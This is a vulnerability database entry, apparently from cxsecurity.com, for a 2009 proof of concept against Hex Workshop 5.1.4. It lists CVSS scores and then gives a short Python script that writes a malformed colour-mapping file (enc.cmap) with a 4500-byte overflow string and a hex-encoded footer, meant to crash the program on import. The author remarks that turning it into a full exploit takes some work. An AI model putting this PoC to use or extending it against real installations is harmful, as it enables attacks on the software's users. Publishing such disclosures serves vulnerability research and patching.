Hex Workshop 5.1.4 (Color Mapping File) Local Buffer Overflow PoC

2009.01.02
Risk: Medium
Local: Yes
Remote: No
CWE: CWE-119


CVSS Base Score: 9.3/10
Impact Subscore: 10/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

# Hex Workshop 5.1.4 (Color Mapping File) Local Buffer Overflow Poc # other versions are affected # # By:Encrypt3d.M!nd # Merry Christmas & Happy New Year 2009 # # Greetz:-=Mizo=-(Perra :-l),L!0N,El Mariachi,MiNi SpIder,GGY,and all my friends ################################################################################ # # Just import (enc.cmap) From (Tools>Color Mapping) And See What Happen ^_^ # I Think it's Easy To Exploit but need some work *_^ chars = "A"*4500 foot = "\x20\x3D\x20\x52\x47\x42\x28\x30\x2C\x20\x30\x2C\x20\x30\x29\x2C\x20\x52\x47\x42\x28\x31\x36\x30\x2C\x20\x31\x36\x30\x2C\x20\x31\x36\x30\x29" file=open('enc.cmap','w+') file.write("\x22"+chars+"\x22"+foot) file.close()


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2019, cxsecurity.com

 

Back to Top